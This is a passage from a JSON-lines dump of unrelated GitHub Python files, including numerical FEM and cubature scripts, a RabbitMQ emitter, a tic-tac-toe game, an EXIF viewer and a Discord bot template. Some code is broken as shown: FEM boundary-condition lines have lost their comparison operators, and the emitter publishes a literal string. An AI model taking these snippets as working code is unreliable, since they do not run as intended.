ndim = lndim\n fdim = lfdim\n logger = Logger() # instanciate Logger to redirect print to test_cubature.txt\n xmin = zeros(ndim)\n xmax = ones(ndim)\n abserr = tol\n relerr = tol\n\n for vectorized in [False, True]:\n print('======================================')\n print(' VECTORIZED={0}'.format(vectorized))\n print('======================================')\n print('')\n for function in functions:\n count = 0\n print('______________________________________')\n print(' ')\n print(' CASE {0}'.format(function))\n print('______________________________________')\n for adaptive in ['h', 'p']:\n if adaptive == 'h':\n print('__________________')\n print(' ')\n print('Testing h_adaptive')\n print('__________________')\n else:\n print('__________________')\n print(' ')\n print('Testing p_adaptive')\n print('__________________')\n print('')\n print('Python Cubature:')\n print('----------------')\n print('{0}-dim integral, tolerance = {1}'.format(ndim,\n relerr))\n print('')\n if vectorized:\n val, err = cubature(ndim, f_test_vec, xmin, xmax, (),\n adaptive, abserr, relerr, norm=0,\n maxEval=maxEval, vectorized=vectorized)\n else:\n val, err = cubature(ndim, f_test, xmin, xmax, (),\n adaptive, abserr, relerr, norm=0,\n maxEval=maxEval, vectorized=vectorized)\n true_err = abs(val[0] - exact_integral(function, ndim, xmax))\n print('integrand {0}: integral = {1}, est err = {2}, true err = {3:e}'\n .format(function, val[0], err[0], true_err))\n print('')\n print('#evals = {0}'.format(count))\n print('')\n\n htest_path = os.path.join('.', 'cpackage', 'htest.exe')\n ptest_path = os.path.join('.', 'cpackage', 'ptest.exe')\n if os.path.isfile(htest_path) or os.path.isfile(ptest_path):\n print('C Cubature:')\n print('-----------')\n else:\n print('C Cubature program not compiled!')\n print('compile using (more details in \".\\cpackage\\README:\"')\n print('\\tcc -DHCUBATURE -o htest hcubature.c test.c -lm')\n print('\\tcc -DPCUBATURE -o ptest pcubature.c test.c -lm')\n fdim_str = '/'.join(['x' for j in range(fdim)])\n if adaptive=='h' and os.path.isfile(htest_path):\n p = Popen([htest_path] +\n list(map(str, [ndim,tol,function,\n maxEval,fdim_str])),\n stdout = PIPE)\n p.wait()\n for l in p.stdout: print(l)\n if adaptive=='p' and os.path.isfile(ptest_path):\n p = Popen([ptest_path] +\n list(map(str, [ndim,tol,function,\n maxEval,fdim_str])),\n stdout = PIPE)\n p.wait()\n for l in p.stdout: print(l)\n\nif __name__ == '__main__':\n from __init__ import run_test\n run_test()\n","repo_name":"davidovitch/chaospy","sub_path":"cubature/test_cubature.py","file_name":"test_cubature.py","file_ext":"py","file_size_in_byte":7471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"59814263","text":"import sys\n\nimport pika\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters(\"localhost\"))\n\nchannel = connection.channel()\n\n# declare the exchange to use\nchannel.exchange_declare(exchange=\"direct_logs\", type=\"direct\")\n\nseverity = sys.argv[1] if len(sys.argv) > 1 else \"info\"\nmessage = \" \".join(sys.argv[2:] or \"Hello RabbitMQ!\")\n\n# publish the message\nchannel.basic_publish(exchange=\"direct_logs\", routing_key=severity, body=\"message\")\n\nprint(\"[X] Sent: %r:%r\" % (severity, message))\nconnection.close()\n","repo_name":"BrianLusina/PythonSnips","sub_path":"web/rabbit_mq/routing/emit_log_direct.py","file_name":"emit_log_direct.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"26956067031","text":"#num=int(input('enter a number'))\n#for i in range(1,num+1):\n # print(' '*(num-i)+'* '*i)\n\n# i=1\n# while i<=5:\n# j=i\n# while j>0:\n# print(' '*(5-i)+'* '*i,end=' ')\n# j=j-1\n# print()\n# i=i+1\n\nr=0\nwhile r<5:\n i=1\n s=5-r-1#5-r-1\n while s>0:\n print(end=\" \")\n s-=1\n st=r+1\n while st>0:\n print(st,end=\"\")\n st-=1\n print()\n r+=1\n","repo_name":"Laxmivadekar/Lucky-function","sub_path":"printing pattern right angle.py","file_name":"printing pattern right angle.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13514653506","text":"from random import randint, choice\nDICTS = {'a': 1, 'b': 2, 'c': 3, 'd': 4, 'e': 5}\n\n\n# функция возвращает размерность доски, введеную пользователем (есть проверка ввода)\ndef start() -> int:\n print(\"Добро пожаловать в игру 'Крестики нолики'!\")\n print(\"Введите размерность доски (от 3 до 5)\")\n while True:\n n = input()\n if not n.isnumeric():\n print(\"Некорректный ввод. Попробуйте снова: \")\n elif 3 <= int(n) <= 5:\n break\n else:\n print(\"Число не в диапазоне. Попробуйте снова\")\n return int(n)\n\n\n# в зависимости от размерности доски возвращается список выигрышных комбинаций\ndef winComb(n: int) -> tuple:\n combinations = ()\n for i in range(N):\n gor = ()\n ver = ()\n diag = ()\n for j in range(N):\n gor += (i * N + j,)\n ver += (i + j * N,)\n if i == 0 or i == 1:\n diag += ((j + i) * (N + (-1) ** i),)\n combinations += (gor, ver,)\n if i == 0 or i == 1:\n combinations += (diag,)\n return combinations\n\n\ndef who():\n print(\"С кем вы хотите сыграть? C другом (f) или компьютером (с)?\")\n option = ''\n options = {'f': True, 'c': False}\n while option not in options:\n print('Выберите: {}/{}'.format(*options))\n option = input()\n return options[option]\n\n\ndef valuesOfDict(n: int) -> list:\n mylist = []\n for i in DICTS.values():\n mylist.append(i)\n return mylist[:n]\n\n\ndef keysOfDict(n: int) -> list:\n mylist = []\n for i in DICTS.keys():\n mylist.append(i)\n return mylist[:n]\n\n\ndef printBoard(arr: list, n: int): # функция для отрисовки доски\n keys = (' ', 'a', 'b', 'c', 'd', 'e')\n values = ('1', '2', '3', '4', '5')\n massiv = []\n for i in range(n):\n start = i * n\n end = (i + 1) * n\n massiv.append(arr[start:end]) \n for i in range(n + 1):\n if i == 0: # вывод 1 строки\n str1 = keys[i] + ' | '\n for j in range(n):\n str1 = str1 + values[j] + ' | '\n print(str1)\n else:\n str2 = keys[i] + ' | '\n for j in range(n):\n if massiv[i - 1][j] == '':\n str2 = str2 + '_' + ' | '\n else:\n str2 = str2 + massiv[i - 1][j] + ' | '\n print(\"-\" * N * 5)\n print(str2)\n\n \ndef can_move(arr: list, move, n: int) -> bool: # проверка, может ли игрок сходить на эту клетку\n if len(move) == 2:\n if move[1].isnumeric():\n if (move[0] in keysOfDict(n)) and (int(move[1]) in valuesOfDict(n)):\n if arr[(DICTS.get(move[0]) - 1) * n + int(move[1]) - 1] == '':\n return True\n return False\n\n\ndef make_move(arr: list, move: str, n: int, player: str):\n arr[(DICTS.get(move[0]) - 1) * n + int(move[1]) - 1] = player\n\n \ndef checkWin(arr: list, n: int, char: str) -> bool:\n win = winComb(n)\n pobeda = False\n for i in range(len(win)):\n h = 0\n for j in range(N):\n if arr[win[i][j]] == char:\n h += 1\n if h == n:\n pobeda = True\n return pobeda\n \n \ndef player_move(arr: list, n: int, player: str, players: int):\n s = \"Ход игрока \" + players + \" - \" + player\n print(\"\\033[1m {} \\033[0m\".format(s))\n print(\"Введите ячейку в формате 'a1': \")\n while True:\n move = input()\n if can_move(arr, move, n):\n make_move(arr, move, n, player)\n return\n else:\n print(\"Некорректный ввод. Попробуйте еще раз:\")\n\n \ndef select_random(foe):\n if foe:\n players = ('Player 1', 'Player 2')\n else:\n players = ('Player 1', 'Computer')\n if randint(0,1) == 0:\n return players[::-1]\n return players\n\n\ndef computer_move(arr: list, n: int, player: str): #попытка создания искусственного интеллекта \n s = \"Ход компьютера\" + \" - \" + player\n print(\"\\033[1m {} \\033[0m\".format(s))\n new_arr = list(arr)\n code = ('X', 'O')\n for i in range(len(code)):\n if code[i] != player:\n playerAnother = code[i]\n freeCells = []\n for i in range(n**2):\n if arr[i] == '':\n freeCells.append(i)\n for i in freeCells: #пройдемся по свободным ячейкам, если мы можем выиграть то ставим сюда\n new_arr[i] = player\n if checkWin(new_arr, n, player):\n arr[i] = player\n return\n else:\n new_arr[i] = ''\n for i in freeCells: #пройдемся по свободным ячейкам, если противник может выиграть, блокируем\n new_arr[i] = playerAnother\n if checkWin(new_arr, n, playerAnother):\n arr[i] = player\n return \n else:\n new_arr[i] = ''\n arr[choice(freeCells)] = player #иначе ставим рандомно\n\n \nif __name__ == '__main__':\n N = start()\n arr = (['']) * N ** 2\n foe = who() #True - играем с другом, False - с компьютером \n print(\"\\033[1m {} \\033[0m\".format(\"Подбрасываем монетку, кто будет ходить первым (первыми ходят [Х])\"))\n players = select_random(foe)\n print(\"[X] ходит %s, [O] ходит %s\" % (players[0], players[1])) \n printBoard(arr, N)\n k = 0\n #while k < 1:\n while k < N ** 2:\n if k % 2 == 0:\n if players[0] == 'Computer':\n computer_move(arr, N, 'X')\n else:\n player_move(arr, N, 'X', players[0])\n printBoard(arr, N)\n if checkWin(arr, N, 'X'):\n print(\"\\033[1m {} \\033[0m\".format(\"Выиграл %s\" % players[0]))\n break\n else:\n if players[1] == 'Computer':\n computer_move(arr, N, 'O')\n else:\n player_move(arr, N, 'O', players[1])\n printBoard(arr, N)\n if checkWin(arr, N, 'O'):\n print(\"\\033[1m {} \\033[0m\".format(\"Выиграл %s\" % players[1]))\n break\n k += 1\n if k == N ** 2:\n print('Ничья!')\n","repo_name":"DianaMoriarty/python","sub_path":"Homework2/tic tac toe.py","file_name":"tic tac toe.py","file_ext":"py","file_size_in_byte":6754,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37003999754","text":"import numpy as np\nimport sys as sys\nimport scipy.sparse as sps\nfrom scipy.sparse.linalg.dsolve import linsolve\nfrom scipy.sparse import csr_matrix \nimport time as time\nfrom scipy.linalg import null_space\n\n#------------------------------------------------------------------------------\n\ndef NNV(rq,sq):\n N_0=0.25*(1.-rq)*(1.-sq)\n N_1=0.25*(1.+rq)*(1.-sq)\n N_2=0.25*(1.+rq)*(1.+sq)\n N_3=0.25*(1.-rq)*(1.+sq)\n return N_0,N_1,N_2,N_3\n\ndef dNNVdr(rq,sq):\n dNdr_0=-0.25*(1.-sq) \n dNdr_1=+0.25*(1.-sq) \n dNdr_2=+0.25*(1.+sq) \n dNdr_3=-0.25*(1.+sq) \n return dNdr_0,dNdr_1,dNdr_2,dNdr_3\n\ndef dNNVds(rq,sq):\n dNds_0=-0.25*(1.-rq)\n dNds_1=-0.25*(1.+rq)\n dNds_2=+0.25*(1.+rq)\n dNds_3=+0.25*(1.-rq)\n return dNds_0,dNds_1,dNds_2,dNds_3\n\n#------------------------------------------------------------------------------\n\nprint(\"-----------------------------\")\nprint(\"----------fieldstone---------\")\nprint(\"-----------------------------\")\n\nm=4 # number of nodes making up an element\nndofV=2 # number of velocity degrees of freedom per node\nndofP=1 # number of pressure degrees of freedom per node\n\nif int(len(sys.argv) == 8):\n nelx = int(sys.argv[1])\n nely = int(sys.argv[2])\n visu = int(sys.argv[3])\n rho1 = float(sys.argv[4])\n drho = float(sys.argv[5])\n eta1 = float(sys.argv[6])\n eta2 = float(sys.argv[7])\nelse:\n nelx = 2\n nely = 2\n visu = 1\n rho1 = 3200\n drho = 32\n eta1 = 1e21\n eta2 = 1e23\n\nrho2=rho1+drho\n \nnnx=nelx+1 # number of elements, x direction\nnny=nely+1 # number of elements, y direction\nnnp=nnx*nny # number of nodes\nnel=nelx*nely # number of elements, total\nNfemV=nnp*ndofV # number of velocity dofs\nNfemP=nnp*ndofP # number of pressure dofs\nNfem=NfemV+NfemP # total number of dofs\n\nLx=4\nLy=4\n\n\npnormalise=True\n\neps=1.e-10\nsqrt3=np.sqrt(3.)\n\n#################################################################\n\nprint('nelx= %d ' %nelx)\nprint('nely= %d ' %nely)\nprint('Lx= %e ' %Lx)\nprint('Ly= %e ' %Lx)\nprint('rho1= %e ' %rho1)\nprint('rho2= %e ' %rho2)\nprint('eta1= %e ' %eta1)\nprint('eta2= %e ' %eta2)\n\n#################################################################\n# grid point setup\n#################################################################\nstart = time.time()\n\nx = np.empty(nnp,dtype=np.float64) # x coordinates\ny = np.empty(nnp,dtype=np.float64) # y coordinates\n\ncounter = 0\nfor j in range(0, nny):\n for i in range(0, nnx):\n x[counter]=i*Lx/float(nelx)\n y[counter]=j*Ly/float(nely)\n counter += 1\n\nprint(\"setup: grid points: %.3f s\" % (time.time() - start))\n\n#################################################################\n# connectivity\n#################################################################\nstart = time.time()\n\nicon =np.zeros((m,nel),dtype=np.int32)\ncounter = 0\nfor j in range(0,nely):\n for i in range(0,nelx):\n icon[0,counter]=i+j*(nelx+1)\n icon[1,counter]=i+1+j*(nelx+1)\n icon[2,counter]=i+1+(j+1)*(nelx+1)\n icon[3,counter]=i+(j+1)*(nelx+1)\n counter+=1\n\nprint(\"setup: connectivity: %.3f s\" % (time.time() - start))\n\n#################################################################\n# define boundary conditions\n#################################################################\nstart = time.time()\n\nbc_fix=np.zeros(NfemV,dtype=np.bool) # boundary condition, yes/no\nbc_val=np.zeros(NfemV,dtype=np.float64) # boundary condition, value\n\nfor i in range(0,nnp):\n if x[i]/Lx(1-eps):\n bc_fix[i*ndofV ] = True ; bc_val[i*ndofV ] = 0\n bc_fix[i*ndofV+1] = True ; bc_val[i*ndofV+1] = 0\n if y[i]/Ly(1-eps):\n bc_fix[i*ndofV ] = True ; bc_val[i*ndofV ] = 0 \n bc_fix[i*ndofV+1] = True ; bc_val[i*ndofV+1] = 0\n\n\nprint(\"setup: boundary conditions: %.3f s\" % (time.time() - start))\n\n#################################################################\n# build FE matrix\n# [ K G ][u]=[f]\n# [GT -C][p] [h]\n#################################################################\nstart = time.time()\n\nK_mat = np.zeros((NfemV,NfemV),dtype=np.float64) # matrix K \nG_mat = np.zeros((NfemV,NfemP),dtype=np.float64) # matrix G\nC_mat = np.zeros((NfemP,NfemP),dtype=np.float64) # matrix C\nf_rhs = np.zeros(NfemV,dtype=np.float64) # right hand side f \nh_rhs = np.zeros(NfemP,dtype=np.float64) # right hand side h \nconstr= np.zeros(NfemP,dtype=np.float64) # constraint matrix/vector\nb_mat = np.zeros((3,ndofV*m),dtype=np.float64) # gradient matrix B \nN = np.zeros(m,dtype=np.float64) # shape functions\ndNdx = np.zeros(m,dtype=np.float64) # shape functions derivatives\ndNdy = np.zeros(m,dtype=np.float64) # shape functions derivatives\ndNdr = np.zeros(m,dtype=np.float64) # shape functions derivatives\ndNds = np.zeros(m,dtype=np.float64) # shape functions derivatives\nu = np.zeros(nnp,dtype=np.float64) # x-component velocity\nv = np.zeros(nnp,dtype=np.float64) # y-component velocity\np = np.zeros(nnp,dtype=np.float64) # pressure \nc_mat = np.array([[2,0,0],[0,2,0],[0,0,1]],dtype=np.float64) \n\nNvect = np.zeros((1,m),dtype=np.float64)\nN_mat = np.zeros((3,m),dtype=np.float64)\n \nNavrg = np.zeros(m,dtype=np.float64)\nNavrg[0]=0.25\nNavrg[1]=0.25\nNavrg[2]=0.25\nNavrg[3]=0.25\n\nfor iel in range(0,nel):\n\n # set arrays to 0 every loop\n f_el =np.zeros((m*ndofV),dtype=np.float64)\n K_el =np.zeros((m*ndofV,m*ndofV),dtype=np.float64)\n G_el=np.zeros((m*ndofV,m*ndofP),dtype=np.float64)\n C_el=np.zeros((m*ndofP,m*ndofP),dtype=np.float64)\n h_el=np.zeros((m*ndofP),dtype=np.float64)\n\n # integrate viscous term at 4 quadrature points\n for iq in [-1, 1]:\n for jq in [-1, 1]:\n\n # position & weight of quad. point\n rq=iq/sqrt3\n sq=jq/sqrt3\n weightq=1.*1.\n\n # calculate shape functions\n N[0:m]=NNV(rq,sq)\n dNdr[0:m]=dNNVdr(rq,sq)\n dNds[0:m]=dNNVds(rq,sq)\n\n # calculate jacobian matrix\n jcb=np.zeros((2,2),dtype=np.float64)\n for k in range(0,m):\n jcb[0,0]+=dNdr[k]*x[icon[k,iel]]\n jcb[0,1]+=dNdr[k]*y[icon[k,iel]]\n jcb[1,0]+=dNds[k]*x[icon[k,iel]]\n jcb[1,1]+=dNds[k]*y[icon[k,iel]]\n\n # calculate the determinant of the jacobian\n jcob = np.linalg.det(jcb)\n\n # calculate inverse of the jacobian matrix\n jcbi = np.linalg.inv(jcb)\n\n # compute dNdx & dNdy\n xq=0.0\n yq=0.0\n for k in range(0,m):\n xq+=N[k]*x[icon[k,iel]]\n yq+=N[k]*y[icon[k,iel]]\n dNdx[k]=jcbi[0,0]*dNdr[k]+jcbi[0,1]*dNds[k]\n dNdy[k]=jcbi[1,0]*dNdr[k]+jcbi[1,1]*dNds[k]\n\n # construct 3x8 b_mat matrix\n for i in range(0,m):\n b_mat[0:3, 2*i:2*i+2] = [[dNdx[i],0. ],\n [0. ,dNdy[i]],\n [dNdy[i],dNdx[i]]]\n\n # compute elemental a_mat matrix\n #K_el+=b_mat.T.dot(c_mat.dot(b_mat))*viscosity(xq,yq,case)*weightq*jcob\n\n # compute elemental rhs vector\n #for i in range(0,m):\n # f_el[ndofV*i ]+=N[i]*jcob*weightq*bx(xq,yq,case)\n # f_el[ndofV*i+1]+=N[i]*jcob*weightq*by(xq,yq,case)\n\n # compute G_el matrix\n for i in range(0,m):\n N_mat[0,i]=N[i]\n N_mat[1,i]=N[i]\n N_mat[2,i]=0\n G_el-=b_mat.T.dot(N_mat)*weightq*jcob\n\n # compute C_el matrix\n #Nvect[0,0:m]=N[0:m]-Navrg[0:m]\n #C_el+=Nvect.T.dot(Nvect)*jcob*weightq/viscosity(xq,yq,case)\n\n G_el*=6\n print(G_el)\n\n # impose b.c. \n for k1 in range(0,m):\n for i1 in range(0,ndofV):\n ikk=ndofV*k1 +i1\n m1 =ndofV*icon[k1,iel]+i1\n if bc_fix[m1]:\n K_ref=K_el[ikk,ikk] \n for jkk in range(0,m*ndofV):\n f_el[jkk]-=K_el[jkk,ikk]*bc_val[m1]\n K_el[ikk,jkk]=0\n K_el[jkk,ikk]=0\n K_el[ikk,ikk]=K_ref\n f_el[ikk]=K_ref*bc_val[m1]\n h_el[:]-=G_el[ikk,:]*bc_val[m1]\n G_el[ikk,:]=0\n\n # assemble matrix K_mat and right hand side rhs\n for k1 in range(0,m):\n for i1 in range(0,ndofV):\n ikk=ndofV*k1 +i1 # from 0 to 7 \n m1 =ndofV*icon[k1,iel]+i1\n # assemble K block\n for k2 in range(0,m):\n for i2 in range(0,ndofV):\n jkk=ndofV*k2 +i2 # from 0 to 7 \n m2 =ndofV*icon[k2,iel]+i2\n K_mat[m1,m2]+=K_el[ikk,jkk]\n # assemble f vector \n f_rhs[m1]+=f_el[ikk]\n # assemble G block\n for k2 in range(0,m):\n m2 = icon[k2,iel]\n jkk=k2 # from 0 to 3\n G_mat[m1,m2]+=G_el[ikk,jkk]\n for k2 in range(0,m):\n C_mat[icon[k1,iel],icon[k2,iel]]+=C_el[k1,k2] \n\n for k2 in range(0,m): # assemble h\n m2=icon[k2,iel]\n h_rhs[m2]+=h_el[k2]\n constr[m2]+=N[k2]\n\n\nfor i in range (NfemV):\n print (\"%3i & %3i & %3i & %3i & %3i & %3i & %3i & %3i & %3i \\\\\\\\ \" \\\n %(int(round(G_mat[i,0])),int(round(G_mat[i,1])),int(round(G_mat[i,2])),int(round(G_mat[i,3])),int(round(G_mat[i,4])),int(round(G_mat[i,5])),int(round(G_mat[i,6])),int(round(G_mat[i,7])),int(round(G_mat[i,8]))))\n\n\n#print (G_mat)\nG2 = np.zeros((2,NfemP),dtype=np.float64) # matrix GT\n\nprint(\"----------------------------------------------\")\n\nG2[0,:]=G_mat[8,:]\nG2[1,:]=G_mat[9,:]\n\n#for i in range (10):\n# print (\"%3f %3f %3f %3f %3f %3f %3f %3f %3f \" %(G2[i,0],G2[i,1],G2[i,2],G2[i,3],G2[i,4],G2[i,5],G2[i,6],G2[i,7],G2[i,8]))\n\nns = null_space(G2)\n\nprint(ns)\n\n\n\n\n\n\n\n\n\n","repo_name":"cedrict/fieldstone","sub_path":"python_codes/Gel/macro_element_q1q1.py","file_name":"macro_element_q1q1.py","file_ext":"py","file_size_in_byte":10426,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"78"} +{"seq_id":"483556515","text":"import json\nimport os\nfrom datetime import datetime\nimport shutil\n\nclass Uploader: \n def __init__(self):\n self.params = self.read_params('params.json')\n \n def read_params(self, file):\n # Read execution parameters\n with open(file) as json_params:\n params = json.load(json_params)\n return params\n\n def move_to_datalake(self):\n # Create datalake directory if it does not exist\n datalake_path = self.params.get('datalake_path')\n if not os.path.exists(datalake_path):\n os.makedirs(datalake_path)\n # Copy file to datalake\n try:\n in_file = self.params.get('in_file')\n out_file = self.params.get('out_file')\n out_file = out_file + (datetime.now().strftime(\"%Y-%m-%d_%H_%M_%S\")) + '.csv'\n shutil.copy(in_file, out_file)\n print('File moved to datalake successfully')\n except:\n print('Source file does not exist, please run ETL process')","repo_name":"velasquezlopez/productos_datos","sub_path":"src/uploader.py","file_name":"uploader.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19967288385","text":"#!/usr/bin/python3\nimport locale\nfrom sys import argv\nfrom os import name\nfrom os.path import exists\nfrom mimetypes import guess_type\nfrom datetime import datetime\nfrom exif import Image\n\nlocale.setlocale(locale.LC_ALL, \"\")\n\ndef nombre (clave='', ayuda=False):\n\tdic = {\n\t\t'rmp': 'Resolución',\n\t\t'ancho': 'Ancho de la fotografía',\n\t\t'alto': 'Alto de la fotografía',\n\t\t'mp': 'Megapíxeles',\n\t\t'mym': 'Marca y modelo del equipo',\n\t\t'marca': 'Marca del equipo',\n\t\t'modelo': 'Modelo del equipo',\n\t\t'iso': 'ISO',\n\t\t'expo': 'Tiempo de exposición',\n\t\t'focal': 'Distancia focal',\n\t\t'f': 'Apertura',\n\t\t'balance': 'Balance de blancos',\n\t\t'fyh': 'Fecha y hora',\n\t\t'fecha': 'Fecha',\n\t\t'hora': 'Hora'\n\t}\n\tif ayuda:\n\t\tfor tag in list(dic.keys()):\n\t\t\tif tag in ('marca', 'expo', 'focal', 'f', 'fecha', 'hora'):\n\t\t\t\tdic[tag] = 'la ' + dic[tag].lower()\n\t\t\telif tag == 'iso':\n\t\t\t\tdic[tag] = 'la ' + dic[tag]\n\t\t\telif tag == 'mp':\n\t\t\t\tdic[tag] = 'los ' + dic[tag].lower()\n\t\t\telse:\n\t\t\t\tdic[tag] = 'el ' + dic[tag].lower()\n\tif clave:\n\t\treturn dic[clave]\n\telse:\n\t\treturn dic\n\ndef etiquetas ():\n\tresol = (imagen.pixel_x_dimension, imagen.pixel_y_dimension, int(round(imagen.pixel_x_dimension * imagen.pixel_y_dimension / 1000000, 0)))\n\treturn {\n\t\t'rmp': str(resol[0]) + ' píxeles \\u00D7 ' + str(resol[1]) + ' píxeles (' + str(resol[2]) + 'MP)',\n\t\t'ancho': imagen.pixel_x_dimension,\n\t\t'alto': imagen.pixel_y_dimension,\n\t\t'mp': resol[2],\n\t\t'mym': imagen.make + ' ' + imagen.model,\n\t\t'marca': imagen.make,\n\t\t'modelo': imagen.model,\n\t\t'iso': imagen.photographic_sensitivity,\n\t\t'expo': imagen.exposure_time,\n\t\t'focal': imagen.focal_length,\n\t\t'f': imagen.f_number,\n\t\t'balance': manual[imagen.white_balance],\n\t\t'fyh': datetime.strftime(datetime.strptime(imagen.datetime_original, '%Y:%m:%d %H:%M:%S'), '%a, %-d-%b-%Y %H:%M:%S'),\n\t\t'fecha': datetime.strftime(datetime.strptime(imagen.datetime_original, '%Y:%m:%d %H:%M:%S'), '%a, %-d-%b-%Y'),\n\t\t'hora': datetime.strftime(datetime.strptime(imagen.datetime_original, '%Y:%m:%d %H:%M:%S'), '%a, %H:%M:%S'),\n\t}\n\n\nmanual = ('Auto', 'Manual')\n\nif exists(argv[-1]) and guess_type(argv[-1], strict=True)[0].split('/')[1] == 'jpeg':\n\twith open(argv[-1], 'rb') as Imagen:\n\t\timagen = Image(Imagen)\n\n\t\ttags = etiquetas()\nelif not exists(argv[-1]) and not '--help' in argv[1:]:\n\tprint (f'El archivo {argv[-1]} no existe.')\n\texit()\nelif not '--help' in argv[1:]:\n\tprint ('No es formato Joint Photographic Experts Group')\n\texit()\n\nif (len(argv) == 2 and argv[1] == '--help') or len(argv) == 3:\n\tltags = list(nombre(ayuda=True).keys())\n\tfor tag in ('rmp', 'mym', 'fyh'):\n\t\tltags.remove(tag)\n\nif len(argv) == 2:\n\tif not argv[1] == '--help':\n\t\tfor tag in tags:\n\t\t\tif not tag in ('ancho', 'alto', 'mp', 'marca', 'modelo', 'fecha', 'hora'):\n\t\t\t\tprint (format('\\x1b[32m\\x1b[1m' + nombre(tag) + ':', '<35'), '\\x1b[0m' + str(tags[tag]))\n\telse:\n\t\tprint (f'Modo de empleo: {argv[0]} [OPCIÓN\\u2026] imagen.jpg')\n\t\tprint ('Muestra las etiquetas Exif.')\n\t\tfor tag in ltags:\n\t\t\tsng = ' ' * 2\n\t\t\tfmt = '<31'\n\t\t\tprint (sng, format('-' + tag, fmt) + 'Muestra', nombre(tag, True))\n\t\tprint ('\\nOpciones de ayuda')\n\t\tprint (sng, format('-' + tag, fmt) + 'Muestra este mensaje de ayuda.')\n\nelif len(argv) == 3:\n\tif argv[1][:1] == '-' and argv[1][1:] in ltags:\n\t\tprint (tags[argv[1][1:]])","repo_name":"PabliNet/comPylados","sub_path":"etifoto.py","file_name":"etifoto.py","file_ext":"py","file_size_in_byte":3275,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71489670971","text":"# -*- coding: utf-8 -*- \r\n################################################################################\r\n#\r\n# Copyright (c) 2014 Baidu.com, Inc. All Rights Reserved\r\n#\r\n################################################################################\r\n\"\"\"\r\n这个模块提供种子文件加载服务.\r\n\r\nAuthors: jieai\r\nDate: 2016/05/27 10:23:06\r\n\"\"\"\r\nimport os \r\nimport logging \r\n\r\nimport config_load\r\nimport log_console\r\n\r\ndef get_seedfile():\r\n \"\"\"\r\n 得到所有种子文件\r\n\r\n \"\"\"\r\n try:\r\n config = config_load.ConfigObject()\r\n lines = []\r\n with open(config.url_list_file, 'r') as f:\r\n for line in f:\r\n lines.append(line)\r\n return lines\r\n except IOError as ex:\r\n logging.error(\"找不到该路径地址:\" + config.url_list_file)\r\n logging.error(ex)\r\n return None","repo_name":"cash2one/LearnPython-1","sub_path":"spider/seedfile_load.py","file_name":"seedfile_load.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71134446331","text":"import discord\nimport string\nimport math\nfrom random import random as rand\n\nclass CommandTemplate:\n \"\"\" This class holds the template for the commands \"\"\"\n def text_command(self):\n \"\"\" This command returns a set sentence when called. \"\"\"\n embed = discord.Embed(title=\" \", description=self.info, color=0x4a3469)\n embed.set_footer(text=f\"Hanabana | ?{self.name}\")\n return embed\n \n def video_command(self):\n \"\"\" This command returns a given video when called. \"\"\"\n embed = discord.Embed(title=self.info, color=0x4a3469, url=self.url)\n embed.set_footer(text=f\"Hanabana | ?{self.name}\")\n return embed\n\n def image_command(self):\n \"\"\" This command returns a given image. It also supports multiple images if the command creator add ';' between image urls. \"\"\"\n embed = discord.Embed(title=f\"{self.info}\", color=0x4a3469)\n if ';' in self.url:\n split_version = self.url.split(';')\n random_val = math.floor(rand() * len(split_version))\n self.url = split_version[random_val]\n embed.set_image(url=self.url)\n embed.set_footer(text=f\"Hanabana | ?{self.name}\")\n return embed\n\n def random_command(self):\n \"\"\" This command when called return a random value within a specified range. \"\"\"\n chance = round(rand() * (self.rand_max - self.rand_min), 2) + self.rand_min\n if \"{chance}\" in self.info:\n self.info = self.info.replace(\"{chance}\", f\"{chance}\")\n if \"{minutes}\" in self.info or \"{seconds}\" in self.info or \"{hours}\" in self.info:\n seconds = round(chance)\n minutes = seconds/60\n hours = math.floor(minutes/60)\n minutes = math.floor(minutes % 60)\n seconds = math.floor(seconds % 60)\n self.info = self.info.replace(\"{minutes}\", f\"{minutes}\")\n self.info = self.info.replace(\"{seconds}\", f\"{seconds}\")\n self.info = self.info.replace(\"{hours}\", f\"{hours}\")\n embed = discord.Embed(title=\" \", description=self.info, color=0x4a3469)\n embed.set_footer(text=f\"Hanabana | ?{self.name}\")\n return embed\n\n def __init__(self, user, arg1, name, type, info, description, url=None, min=None, max=None):\n \"\"\" Sets up the arguments and saves them \"\"\"\n self.user = user\n self.arg1 = arg1\n self.name = name\n self.type = type\n self.info = info\n self.description = description\n self.url = url\n self.rand_min = min\n self.rand_max = max\n if \"{user}\" in self.info and self.arg1 != None:\n self.info = self.info.replace(\"{user}\", f\"{self.arg1}\")\n elif \"{user}\" in self.info:\n self.info = self.info.replace(\"{user}\", f\"<@{user}>\")\n if type == 'text':\n self.embed = self.text_command()\n elif type == 'video':\n self.embed = self.video_command()\n elif type == 'image':\n self.embed = self.image_command()\n elif type == 'random':\n self.embed = self.random_command()\n else:\n self.embed = None\n\n","repo_name":"tymmc2/Hanabana","sub_path":"CommandTemplate.py","file_name":"CommandTemplate.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8809001474","text":"def punto_1(tabla):\n \n def promedio_options(pal):\n if pal == \"Si\": \n return print(\"Promedio :\",\" \"*9,promedio) \n elif pal == \"No\":\n return print(\"No se requiere dato\")\n else:\n return print(\"La palabra ingresada fue incorrecta\")\n def total_options(pal):\n if pal == \"Si\": \n print(\"Suma :\",\" \"*13,total) \n elif pal == \"No\":\n print(\"No se requiere dato\")\n else:\n print(\"La palabra ingresada fue incorrecta\")\n def imprimirNotas(tabla):\n h=True \n for k in tabla:\n if h:\n print(\"Nombres\",\" \"*3,\" 